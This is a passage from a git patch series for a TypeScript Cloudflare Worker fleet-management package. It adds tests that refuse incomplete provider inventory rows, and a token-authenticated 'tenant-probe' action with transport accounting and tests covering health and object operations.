client.inspectOrdinaryWorkerFootprint('worker'), + ).rejects.toThrow(); + }); + it.each([ + undefined, + {}, + { items: null }, + [], + ])('version inventory refuses missing items %#', async (result) => { + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async () => Response.json({ success: true, result }), + }); + await expect(client.listOrdinaryWorkerVersions('worker')).rejects.toThrow(); + }); + it.each([ + { suffix: '/workers/scripts', row: {} }, + { suffix: '/workers/scripts', row: { id: 42 } }, + { suffix: '/workers/domains', row: {} }, + { suffix: '/workers/domains', row: { service: 42 } }, + { suffix: '/workers/routes', row: { script: 42 } }, + ])('footprint refuses missing identity or association %#', async ({ + suffix, + row, + }) => { + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const url = new URL(new Request(input, init).url); + if (url.pathname.endsWith(suffix)) return envelope([row]); + return zoneAuthorityResponse(url, ['zone-1'], []) ?? envelope([]); + }, + }); + await expect( + client.inspectOrdinaryWorkerFootprint('worker'), + ).rejects.toThrow(); + }); +}); diff --git a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts index 5c8bd5b1..70a53376 100644 --- a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts +++ b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts @@ -710,6 +710,105 @@ describe('advanceCloudflareFleetInventoryStage', () => { } }); + it.each([ + { id: 'ns-a' }, + { script: 'anchorage-alpha' }, + { id: '', script: 'anchorage-alpha' }, + { id: 'ns-a', script: '' }, + ])('refuses incomplete namespace association %# before or after a valid page', async (namespace) => { + for (const namespacePages of [ + [[namespace]], + [[{ id: 'other', script: 'unrelated' }], [namespace]], + ]) { + const { deps } = harness({ namespacePages }); + const stage = { step: 'do-namespaces' } as const; + await expect( + advanceCloudflareFleetInventoryStage(deps, { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 1_000, + }), + ).rejects.toThrow(/namespace/); + } + }); + + it.each([ + { world: { scriptPages: [[{}]] }, reason: 'invalid ID' }, + { world: { scriptPages: [[{ id: '' }]] }, reason: 'invalid ID' }, + { + world: { domainPages: [[{ service: '', hostname: 'example.test' }]] }, + reason: 'invalid service', + }, + { + world: { domainPages: [[{ service: 'anchorage-alpha', hostname: '' }]] }, + reason: 'invalid hostname', + }, + { + world: { + zoneIds: ['z1'], + zoneRoutePages: { + z1: [[{ script: 'anchorage-alpha', pattern: 'example.test/*' }]], + }, + }, + reason: 'invalid ID or pattern', + }, + { + world: { + zoneIds: ['z1'], + zoneRoutePages: { z1: [[{ script: 'anchorage-alpha', id: 'route' }]] }, + }, + reason: 'invalid ID or pattern', + }, + ] satisfies { + world: World; + reason: string; + }[])('refuses incomplete provider identity before filtering %#', async ({ + world, + reason, + }) => { + const { deps } = harness(world); + await expect(drive(deps, EMPTY_OPTIONS)).rejects.toThrow(reason); + }); + + it.each([ + { name: 'anchorage-db-a' }, + { uuid: 'db-a' }, + { uuid: '', name: 'anchorage-db-a' }, + { uuid: 'db-a', name: '' }, + ])('refuses incomplete D1 identity before or after a valid page %#', async (row) => { + for (const databasePages of [ + [[row]], + [[{ uuid: 'foreign', name: 'foreign' }], [row]], + ]) { + const { deps } = harness({ databasePages }); + const stage = { step: 'd1-databases' } as const; + await expect( + advanceCloudflareFleetInventoryStage(deps, { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 1_000, + }), + ).rejects.toThrow(/D1/); + } + }); + + it('preserves unassigned routes in provider inventory', async () => { + const { deps } = harness({ + zoneIds: ['z1'], + zoneRoutePages: { + z1: [ + [ + { id: 'unset', pattern: 'unset.example.test/*' }, + { id: 'empty', pattern: 'empty.example.test/*', script: '' }, + ], + ], + }, + }); + await expect(drive(deps, EMPTY_OPTIONS)).resolves.toBeDefined(); + }); + it('finalizes an empty generation for an account with no host routing KV', async () => { const { deps, calls } = harness({ domainPages: [[]], diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 4942ea5b..4d3dd58c 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -775,6 +775,17 @@ describe('PlainWorkerBackend core policy', () => { ); }); + it.each([ + undefined, + '', + ])('refuses a D1 row without a usable name: %s', async (name) => { + const api = new PlainWorkerProvisioningApiFake(); + vi.spyOn(api, 'listDatabases').mockResolvedValue([ + { databaseId: 'database', name }, + ]); + await expect(backend(api).findDatabase(spec)).rejects.toThrow(/D1.*name/); + }); + it('selects an exact database name from search-like inventory', async () => { const api = new PlainWorkerProvisioningApiFake(); api.databases.set('database-1', { diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 288d92f0..92b2da3d 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -197,6 +197,49 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { expect(runner.calls).toEqual([{ arguments: ['d1', 'list', '--json'] }]); }); + it.each([ + [{ name: 'target' }], + [{ uuid: '', name: 'target' }], + [{ uuid: 42, name: 'target' }], + [{ uuid: 'id' }], + [{ uuid: 'id', name: '' }], + [{ uuid: 'id', name: 42 }], + ])('refuses incomplete D1 identity before local filtering %#', async (row) => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify([row]), + stderr: '', + })), + ); + await expect(subject.listDatabases({ name: 'target' })).rejects.toThrow( + /D1/, + ); + }); + + it.each([ + null, + false, + {}, + { result: null }, + { result: false }, + { success: false, result: [] }, + { success: false, result: { versions: [] } }, + { errors: [{}], result: { versions: [] } }, + { errors: [{}], result: [] }, + ])('refuses malformed complete inventory shapes %#', async (result) => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify(result), + stderr: '', + })), + ); + await expect(subject.listDatabases()).rejects.toThrow(/inventory/); + await expect(subject.listVersions('worker')).rejects.toThrow(/inventory/); + await expect(subject.deploymentStatus('worker')).rejects.toThrow( + /inventory/, + ); + }); + it('rejects invalid JSON with the operation name', async () => { const subject = await api( new FakeRunner(async () => ({ stdout: '{', stderr: '' })), From d34ac7c696e0c57fb34f22921504a0a190cbd02e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 13:20:09 +0400 Subject: [PATCH 121/169] feat(fleet-control): add fixed reference tenant probes --- .../scripts/direct-reference-contract.d.mts | 5 + .../scripts/direct-reference-contract.mjs | 10 + .../scripts/direct-reference-lifecycle.ts | 6 +- .../scripts/direct-reference-transport.ts | 15 +- .../scripts/direct-reference-worker.ts | 135 +++++++++- ...direct-credentialed-tenant.harness.test.ts | 146 +++++++++++ .../test/direct-reference-contract.test.ts | 8 + .../test/direct-reference-transport.test.ts | 239 +++++++++++++++++- .../test/fixtures/direct-reference-harness.ts | 14 +- 9 files changed, 564 insertions(+), 14 deletions(-) diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts index b3e80fbe..74209094 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.d.mts +++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts @@ -18,6 +18,11 @@ export class DirectReferenceRequestError extends Error { export type DirectInventorySlot = 'inventory-before' | 'inventory-after'; export type DirectAuditSlot = 'audit-before' | 'audit-after'; export type DirectReferenceAction = + | Readonly<{ + kind: 'tenant-probe'; + role: DirectFixtureRole; + operation: 'health' | 'object-put' | 'object-read' | 'object-delete'; + }> | Readonly<{ kind: | 'control-read' diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs index 8fe9c784..87f31a47 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.mjs +++ b/packages/fleet-control/scripts/direct-reference-contract.mjs @@ -56,6 +56,16 @@ function actionFromParsed(value) { case 'force-observe': keys(value, ['kind']); break; + case 'tenant-probe': + keys(value, ['kind', 'role', 'operation']); + member(value.role, ['a', 'b', 'recovery']); + member(value.operation, [ + 'health', + 'object-put', + 'object-read', + 'object-delete', + ]); + break; case 'provision': keys(value, ['kind', 'role', 'release']); member(value.role, ['a', 'b', 'recovery']); diff --git a/packages/fleet-control/scripts/direct-reference-lifecycle.ts b/packages/fleet-control/scripts/direct-reference-lifecycle.ts index 31ec9b59..50525997 100644 --- a/packages/fleet-control/scripts/direct-reference-lifecycle.ts +++ b/packages/fleet-control/scripts/direct-reference-lifecycle.ts @@ -26,9 +26,9 @@ import { } from './direct-reference-journal.js'; import { recordDirectResource } from './direct-reference-observations.js'; -type LifecycleAction = Extract< - DirectReferenceAction, - { role: DirectFixtureRole } +type LifecycleAction = Exclude< + Extract, + { kind: 'tenant-probe' } >; type CleanupSlot = `cleanup-${DirectFixtureRole}` | 'cleanup-recovery-initial'; diff --git a/packages/fleet-control/scripts/direct-reference-transport.ts b/packages/fleet-control/scripts/direct-reference-transport.ts index 2552df81..971d363d 100644 --- a/packages/fleet-control/scripts/direct-reference-transport.ts +++ b/packages/fleet-control/scripts/direct-reference-transport.ts @@ -21,6 +21,7 @@ export interface DirectReferenceTransportOptions { export interface DirectReferenceTransportSnapshot { readonly providerAttempts: number; readonly maintenanceAttempts: number; + readonly applicationAttempts: number; readonly effectiveRequestTimeoutMs: number; readonly failure: 'deadline' | 'attempts' | 'aborted' | null; } @@ -34,6 +35,7 @@ export class DirectReferenceTransport { readonly effectiveRequestTimeoutMs: number; #providerAttempts = 0; #maintenanceAttempts = 0; + #applicationAttempts = 0; #failure: DirectReferenceTransportSnapshot['failure'] = null; constructor(options: DirectReferenceTransportOptions) { @@ -71,6 +73,9 @@ export class DirectReferenceTransport { readonly maintenanceFetch: typeof fetch = (input, init) => this.#send('maintenance', input, init); + readonly applicationFetch: typeof fetch = (input, init) => + this.#send('application', input, init); + #fail( reason: NonNullable, ): void { @@ -94,13 +99,14 @@ export class DirectReferenceTransport { return Object.freeze({ providerAttempts: this.#providerAttempts, maintenanceAttempts: this.#maintenanceAttempts, + applicationAttempts: this.#applicationAttempts, effectiveRequestTimeoutMs: this.effectiveRequestTimeoutMs, failure: this.#failure, }); } async #send( - kind: 'provider' | 'maintenance', + kind: 'provider' | 'maintenance' | 'application', input: Parameters[0], init: Parameters[1], ): Promise { @@ -118,7 +124,9 @@ export class DirectReferenceTransport { throw new DirectReferenceExecutionError(); this.assertWithinBudget(); if ( - this.#providerAttempts + this.#maintenanceAttempts >= + this.#providerAttempts + + this.#maintenanceAttempts + + this.#applicationAttempts >= this.#maxAttempts ) { this.#fail('attempts'); @@ -142,7 +150,8 @@ export class DirectReferenceTransport { this.assertWithinBudget(); signal.throwIfAborted(); if (kind === 'provider') this.#providerAttempts++; - else this.#maintenanceAttempts++; + else if (kind === 'maintenance') this.#maintenanceAttempts++; + else this.#applicationAttempts++; const response = await this.#nativeFetch(request, { signal, redirect: 'manual', diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 1f1ed346..11fdd806 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; import { createDirectReferenceContext, @@ -11,7 +12,10 @@ import { observeDirectForce, recoverDirectForce, } from './direct-reference-force.js'; -import { handleDirectReferenceHttpRequest } from './direct-reference-http.js'; +import { + DirectReferenceExecutionError, + handleDirectReferenceHttpRequest, +} from './direct-reference-http.js'; import { dispatchDirectInventory } from './direct-reference-inventory.js'; import type { DirectOperationSlot } from './direct-reference-journal.js'; import { dispatchDirectLifecycle } from './direct-reference-lifecycle.js'; @@ -33,6 +37,129 @@ const operationSlots: readonly DirectOperationSlot[] = [ 'decommission-recovery', ]; +type TenantProbeContext = Pick< + DirectReferenceContext, + 'transport' | 'roleFor' | 'specFor' | 'secrets' +> & { + readonly control: Pick; +}; + +export async function probeDirectTenant( + context: TenantProbeContext, + manifest: DirectRunManifest, + action: Extract, + invocationSignal: AbortSignal, +) { + const record = await context.control.getDeployment( + manifest.names.roles[action.role].tenantTag, + manifest.environment, + ); + if (!record || context.roleFor(record) !== action.role) + throw new DirectReferenceExecutionError(); + const spec = context.specFor(record); + const token = context.secrets(action.role).application?.APP_PROBE_TOKEN; + if (!spec.routeHostname || typeof token !== 'string' || !token) + throw new DirectReferenceExecutionError(); + const { role, operation } = action; + const url = new URL( + operation === 'health' ? '/__direct/health' : '/__direct/object', + `https://${spec.routeHostname}`, + ); + const method = + operation === 'object-put' + ? 'POST' + : operation === 'object-delete' + ? 'DELETE' + : 'GET'; + const cleanup = new AbortController(); + const signal = AbortSignal.any([ + invocationSignal, + cleanup.signal, + AbortSignal.timeout(context.transport.effectiveRequestTimeoutMs), + ]); + let response: Response | undefined; + let bodySettled: Promise | undefined; + try { + response = await context.transport.applicationFetch(url, { + method, + headers: { authorization: `Bearer ${token}` }, + signal, + }); + const media = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + if ( + response.status !== (method === 'GET' ? 200 : 204) || + (method === 'GET' && media !== 'application/json') + ) + throw new DirectReferenceExecutionError(); + const stream = new TransformStream(); + bodySettled = response.body + ?.pipeTo(stream.writable, { signal }) + .catch(() => undefined); + const bodyInit = { + method: 'POST', + headers: response.headers, + body: response.body ? stream.readable : undefined, + signal, + duplex: 'half' as const, + }; + const bounded = await readBoundedBody( + new Request(url, bodyInit), + method === 'GET' ? 1024 : 0, + ); + if (!bounded.ok) throw new DirectReferenceExecutionError(); + if (method !== 'GET') return { role, operation, returned: true }; + let decoded: unknown; + try { + decoded = JSON.parse(bounded.text); + } catch { + throw new DirectReferenceExecutionError(); + } + if (!decoded || typeof decoded !== 'object' || Array.isArray(decoded)) + throw new DirectReferenceExecutionError(); + const value = decoded as Record; + const fields = Object.keys(value).sort().join(','); + if (operation === 'health') { + if ( + fields !== 'marker,release' || + (value.release !== '1' && value.release !== '2') || + (value.marker !== 'initial' && + value.marker !== 'next' && + value.marker !== null) + ) + throw new DirectReferenceExecutionError(); + return { role, operation, release: value.release, marker: value.marker }; + } + if (fields === 'present' && value.present === false) + return { role, operation, present: false }; + if ( + fields !== 'present,sha256,size' || + value.present !== true || + typeof value.size !== 'number' || + !Number.isSafeInteger(value.size) || + value.size < 1 || + typeof value.sha256 !== 'string' || + !/^[a-f0-9]{64}$/u.test(value.sha256) + ) + throw new DirectReferenceExecutionError(); + return { + role, + operation, + present: true, + size: value.size, + sha256: value.sha256, + }; + } finally { + cleanup.abort(); + await bodySettled; + if (response && !response.bodyUsed && !response.body?.locked) + await response.body?.cancel().catch(() => undefined); + } +} + async function dispatch( context: DirectReferenceContext, manifest: DirectRunManifest, @@ -75,6 +202,8 @@ async function dispatch( if (action.kind === 'force-recovery') return recoverDirectForce(context, manifest); if (action.kind === 'force-observe') return observeDirectForce(context); + if (action.kind === 'tenant-probe') + return probeDirectTenant(context, manifest, action, signal); if ('role' in action) return dispatchDirectLifecycle(context, manifest, action, signal); if ( @@ -126,6 +255,10 @@ export function createDirectReferenceWorker( 'X-Direct-Maintenance-Attempts', String(metrics.maintenanceAttempts), ); + response.headers.set( + 'X-Direct-Application-Attempts', + String(metrics.applicationAttempts), + ); } return response; }, diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts index 6f7374ef..1497dee1 100644 --- a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts +++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts @@ -31,6 +31,7 @@ import { DIRECT_FIXTURE_PROVIDER, directFixtureManifest, } from './fixtures/direct-credentialed-config.js'; +import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js'; const manifest = directFixtureManifest(); const secrets = generateDirectDeploymentSecrets(); @@ -247,6 +248,151 @@ describe.sequential('direct tenant fixture in workerd', { expect(await response.json()).toEqual({ live: false }); }); + it('runs retained-token reference probes through the native tenant across reloads', async () => { + const forwarded: { + url: string; + method: string; + authorization: string | null; + }[] = []; + const reference = await createDirectReferenceHarness({ + applicationFetch: async (request) => { + expect(request.body === undefined || request.body === '').toBe(true); + forwarded.push({ + url: request.url, + method: request.method, + authorization: request.headers.get('authorization'), + }); + return worker.fetch(request.url, { + method: request.method, + headers: [...request.headers], + }); + }, + }); + const work = await Promise.allSettled([ + (async () => { + const probeSpec = reference.specs.find( + (spec) => spec.tenantTag === initial.tenantTag, + ); + const token = reference.secrets.a.application?.APP_PROBE_TOKEN; + if (!probeSpec || !token) + throw new Error('reference fixture role is missing'); + expect(probeSpec.routeHostname).toBe(initial.routeHostname); + const active = options('1', token); + const configuration = active.workers[0]?.config; + if (!configuration) + throw new Error('test Worker configuration is missing'); + const databaseId = configuration.d1_databases[0]?.database_id; + if (!databaseId) throw new Error('native tenant database is missing'); + await server.update(active); + worker = server.getWorker(); + await reference.fleetStore.withDeploymentLease( + probeSpec.tenantTag, + probeSpec.environment, + (lease) => + lease.put({ + tenantTag: probeSpec.tenantTag, + environment: probeSpec.environment, + backend: 'plain-worker', + scriptName: probeSpec.scriptName, + databaseId, + databaseName: probeSpec.databaseName, + schemaVersion: probeSpec.schemaVersion, + desiredSpecDigest: deploymentSpecDigest(probeSpec), + artifactVersion: 'native-probe-fixture', + durableObjectBindings: [], + routeHostname: probeSpec.routeHostname, + phase: 'ready', + updatedAt: new Date().toISOString(), + }), + ); + const action = ( + operation: 'health' | 'object-put' | 'object-read' | 'object-delete', + ) => ({ kind: 'tenant-probe', role: 'a', operation }) as const; + expect(await reference.success(action('health'))).toEqual({ + role: 'a', + operation: 'health', + release: '1', + marker: 'initial', + }); + const put = await reference.call(action('object-put')); + expect(reference.bridgeErrors).toEqual([]); + expect(put.value).toEqual({ + contractVersion: 1, + configSha256: reference.manifest.configSha256, + action: 'tenant-probe', + ok: true, + result: { role: 'a', operation: 'object-put', returned: true }, + }); + expect(put.response.headers.get('X-Direct-Application-Attempts')).toBe( + '1', + ); + expect(put.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '0', + ); + expect(put.response.headers.get('X-Direct-Maintenance-Attempts')).toBe( + '0', + ); + const expected = { + role: 'a', + operation: 'object-read', + present: true, + size: Buffer.byteLength('direct-conformance-fixture-data'), + sha256: createHash('sha256') + .update('direct-conformance-fixture-data') + .digest('hex'), + }; + expect(await reference.success(action('object-read'))).toEqual( + expected, + ); + await reference.reload(); + expect(await reference.success(action('object-read'))).toEqual( + expected, + ); + await server.update(active); + worker = server.getWorker(); + expect(await reference.success(action('object-read'))).toEqual( + expected, + ); + await reference.success(action('object-delete')); + expect(await reference.success(action('object-read'))).toEqual({ + role: 'a', + operation: 'object-read', + present: false, + }); + expect(forwarded.length).toBeGreaterThan(0); + for (const request of forwarded) { + expect(request.authorization).toBe(`Bearer ${token}`); + expect(new URL(request.url).origin).toBe( + `https://${initial.routeHostname}`, + ); + } + expect(JSON.stringify(put.value)).not.toContain(token); + await server.update(options('1', 'wrong-token')); + worker = server.getWorker(); + expect((await reference.call(action('health'))).value).toEqual({ + contractVersion: 1, + ok: false, + error: { code: 'operation-refused' }, + }); + })(), + ]); + const cleanup = await Promise.allSettled([ + reference.close(), + (async () => { + await server.update(options('1')); + worker = server.getWorker(); + await (await worker.getEnv()).PROBE_BUCKET.delete( + 'direct-conformance-fixture', + ); + })(), + ]); + const failures = [...work, ...cleanup].flatMap((result) => + result.status === 'rejected' ? [result.reason] : [], + ); + if (failures.length) + throw new AggregateError(failures, 'native probe or cleanup failed'); + }, 60_000); + it('writes fixed R2 bytes and retains them across reload and additive D1 migration', async () => { expect( ( diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts index 996c7481..9fcb07e0 100644 --- a/packages/fleet-control/test/direct-reference-contract.test.ts +++ b/packages/fleet-control/test/direct-reference-contract.test.ts @@ -43,6 +43,10 @@ const actions: readonly DirectReferenceAction[] = [ { kind: 'decommission-restart-blocked', role: 'recovery', token: [] }, { kind: 'force-recovery' }, { kind: 'force-observe' }, + { kind: 'tenant-probe', role: 'a', operation: 'health' }, + { kind: 'tenant-probe', role: 'b', operation: 'object-put' }, + { kind: 'tenant-probe', role: 'recovery', operation: 'object-read' }, + { kind: 'tenant-probe', role: 'a', operation: 'object-delete' }, ]; function request(body: NonNullable) { @@ -117,6 +121,10 @@ describe('direct reference request contract', () => { { kind: 'cleanup-start', role: 'other' }, { kind: 'decommission-continue' }, { kind: 'force-recovery', role: 'a' }, + { kind: 'tenant-probe', role: 'a' }, + { kind: 'tenant-probe', role: 'other', operation: 'health' }, + { kind: 'tenant-probe', role: 'a', operation: 'other' }, + { kind: 'tenant-probe', role: 'a', operation: null }, ])('refuses an invalid action %j', async (action) => { await expect(read(action)).rejects.toBeInstanceOf( DirectReferenceRequestError, diff --git a/packages/fleet-control/test/direct-reference-transport.test.ts b/packages/fleet-control/test/direct-reference-transport.test.ts index 09d92ff6..c0e30d60 100644 --- a/packages/fleet-control/test/direct-reference-transport.test.ts +++ b/packages/fleet-control/test/direct-reference-transport.test.ts @@ -7,6 +7,10 @@ import { fileURLToPath } from 'node:url'; import Cloudflare from 'cloudflare'; import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; import { createTestHarness, type TestHarness } from 'wrangler'; +import { + directDeploymentSpec, + generateDirectDeploymentSecrets, +} from '../scripts/direct-credentialed-spec.js'; import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; import { handleDirectReferenceHttpRequest } from '../scripts/direct-reference-http.js'; import { @@ -14,6 +18,13 @@ import { DirectReferenceTransport, type DirectReferenceTransportOptions, } from '../scripts/direct-reference-transport.js'; +import { probeDirectTenant } from '../scripts/direct-reference-worker.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { FleetRecord } from '../src/types.js'; +import { + DIRECT_FIXTURE_PROVIDER, + directFixtureManifest, +} from './fixtures/direct-credentialed-config.js'; const runtime = { requestTimeoutMs: 1000, @@ -35,19 +46,22 @@ function fixture(overrides: Partial = {}) { } describe('direct reference transport', () => { - it('shares concurrent provider/maintenance counts and permits the last allowed attempt', async () => { + it('shares concurrent provider, maintenance and application attempts', async () => { const { transport, nativeFetch } = fixture(); await Promise.all( Array.from({ length: 9 }, (_, i) => - (i % 2 ? transport.maintenanceFetch : transport.providerFetch)( - 'https://fixture.test', - ), + (i % 3 === 0 + ? transport.providerFetch + : i % 3 === 1 + ? transport.maintenanceFetch + : transport.applicationFetch)('https://fixture.test'), ), ); expect(nativeFetch).toHaveBeenCalledTimes(9); expect(transport.snapshot()).toMatchObject({ - providerAttempts: 5, - maintenanceAttempts: 4, + providerAttempts: 3, + maintenanceAttempts: 3, + applicationAttempts: 3, failure: null, }); expect(() => transport.assertWithinBudget()).not.toThrow(); @@ -57,6 +71,9 @@ describe('direct reference transport', () => { await expect( transport.providerFetch('https://fixture.test'), ).rejects.toMatchObject({ code: 'budget-exhausted' }); + await expect( + transport.applicationFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); expect(nativeFetch).toHaveBeenCalledTimes(9); expect(transport.snapshot().failure).toBe('attempts'); expect(() => transport.assertWithinBudget()).toThrow('budget-exhausted'); @@ -406,3 +423,213 @@ describe('direct reference transport inside workerd', () => { }); }); }); + +describe('fixed tenant probe transport', () => { + const manifest = directFixtureManifest(); + const secrets = generateDirectDeploymentSecrets(); + const spec = directDeploymentSpec( + manifest, + 'a', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + const record: FleetRecord = { + tenantTag: spec.tenantTag, + environment: spec.environment, + backend: 'plain-worker', + scriptName: spec.scriptName, + databaseId: 'fixture-database', + databaseName: spec.databaseName, + schemaVersion: spec.schemaVersion, + desiredSpecDigest: deploymentSpecDigest(spec), + artifactVersion: 'fixture-version', + durableObjectBindings: [], + routeHostname: spec.routeHostname, + phase: 'ready', + updatedAt: '2026-09-10T00:00:00.000Z', + }; + function probe( + response: Response, + options: Partial = {}, + ) { + const state = fixture(options); + state.nativeFetch.mockResolvedValue(response); + const context: Parameters[0] = { + transport: state.transport, + control: { getDeployment: async () => record }, + roleFor: () => 'a', + specFor: () => spec, + secrets: () => secrets, + }; + return { + ...state, + context, + run: ( + operation: 'health' | 'object-put' | 'object-read' | 'object-delete', + ) => + probeDirectTenant( + context, + manifest, + { kind: 'tenant-probe', role: 'a', operation }, + state.abort.signal, + ), + }; + } + it.each([ + { + operation: 'health' as const, + facts: { release: '1', marker: 'initial' }, + }, + { operation: 'health' as const, facts: { release: '2', marker: null } }, + { operation: 'object-read' as const, facts: { present: false } }, + { + operation: 'object-read' as const, + facts: { present: true, size: 29, sha256: 'a'.repeat(64) }, + }, + ])('projects bounded $operation facts without exposing its token', async ({ + operation, + facts, + }) => { + const state = probe(Response.json(facts)); + const result = await state.run(operation); + expect(result).toEqual({ role: 'a', operation, ...facts }); + expect(JSON.stringify(result)).not.toContain( + secrets.application?.APP_PROBE_TOKEN, + ); + const input = state.nativeFetch.mock.calls[0]?.[0]; + if (!(input instanceof Request)) throw new Error('missing probe request'); + expect(input.url).toBe( + `https://${spec.routeHostname}/__direct/${operation === 'health' ? 'health' : 'object'}`, + ); + expect(input.method).toBe('GET'); + expect(input.headers.get('authorization')).toBe( + `Bearer ${secrets.application?.APP_PROBE_TOKEN}`, + ); + expect(state.transport.snapshot()).toMatchObject({ + providerAttempts: 0, + maintenanceAttempts: 0, + applicationAttempts: 1, + }); + }); + it.each([ + 'object-put', + 'object-delete', + ] as const)('uses the fixed %s request and empty acknowledgement', async (operation) => { + const state = probe(new Response(null, { status: 204 })); + expect(await state.run(operation)).toEqual({ + role: 'a', + operation, + returned: true, + }); + const input = state.nativeFetch.mock.calls[0]?.[0]; + if (!(input instanceof Request)) throw new Error('missing probe request'); + expect(input.method).toBe(operation === 'object-put' ? 'POST' : 'DELETE'); + expect(input.body).toBeNull(); + const incorrect = probe(Response.json({ returned: true })); + await expect(incorrect.run(operation)).rejects.toMatchObject({ + code: 'operation-refused', + }); + const unexpectedBytes = probe( + new Response(null, { + status: 204, + headers: { 'content-length': '1' }, + }), + ); + await expect(unexpectedBytes.run(operation)).rejects.toMatchObject({ + code: 'operation-refused', + }); + }); + it.each([ + () => Response.json({ release: 1, marker: 'initial' }), + () => + Response.json({ + release: '1', + marker: 'initial', + extra: 'private-sentinel', + }), + () => Response.json({ release: '1', marker: 'private-sentinel' }), + () => + new Response('{', { headers: { 'content-type': 'application/json' } }), + () => + new Response(new Uint8Array([255]), { + headers: { 'content-type': 'application/json' }, + }), + () => + new Response('x'.repeat(1025), { + headers: { 'content-type': 'application/json' }, + }), + () => new Response('{}', { headers: { 'content-type': 'text/plain' } }), + () => Response.json({ secret: 'private-sentinel' }, { status: 503 }), + ])('refuses malformed or incomplete health responses %#', async (response) => { + const state = probe(response()); + await expect(state.run('health')).rejects.toMatchObject({ + message: 'operation-refused', + }); + }); + it.each([ + { present: true }, + { present: true, size: 0, sha256: 'a'.repeat(64) }, + { present: true, size: 29, sha256: 'A'.repeat(64) }, + { present: false, size: 0 }, + ])('refuses malformed object observations %#', async (facts) => { + const state = probe(Response.json(facts)); + await expect(state.run('object-read')).rejects.toMatchObject({ + code: 'operation-refused', + }); + }); + it('requires the selected current record and retained token before dispatch', async () => { + const state = probe(Response.json({ release: '1', marker: 'initial' })); + state.context.control.getDeployment = async () => undefined; + await expect(state.run('health')).rejects.toMatchObject({ + code: 'operation-refused', + }); + state.context.control.getDeployment = async () => record; + vi.spyOn(state.context, 'secrets').mockReturnValue({ + ...secrets, + application: {}, + }); + await expect(state.run('health')).rejects.toMatchObject({ + code: 'operation-refused', + }); + expect(state.nativeFetch).not.toHaveBeenCalled(); + }); + it('keeps timeout cancellation attached until the response body settles', async () => { + let cancelled = false; + let release: (() => void) | undefined; + const cancellation = new Promise((resolve) => { + release = resolve; + }); + const body = new ReadableStream({ + cancel() { + cancelled = true; + return cancellation; + }, + }); + const state = probe( + new Response(body, { headers: { 'content-type': 'application/json' } }), + { + runtime: { ...runtime, requestTimeoutMs: 15 }, + }, + ); + let settled = false; + const pending = state.run('health').then( + (result) => { + settled = true; + return { result }; + }, + (error: unknown) => { + settled = true; + return { error }; + }, + ); + try { + await vi.waitFor(() => expect(cancelled).toBe(true)); + expect(settled).toBe(false); + } finally { + release?.(); + } + expect(await pending).toHaveProperty('error'); + expect(state.transport.snapshot().applicationAttempts).toBe(1); + }); +}); diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index 4a197ada..d5f9dc28 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -29,7 +29,10 @@ import { directFixtureManifest } from './direct-credentialed-config.js'; import { maintenanceResponder, providerWorld } from './provider-world.js'; export async function createDirectReferenceHarness( - policy: Readonly<{ maintenanceNow?: () => number }> = {}, + policy: Readonly<{ + maintenanceNow?: () => number; + applicationFetch?: (request: CloudflareFixtureRequest) => 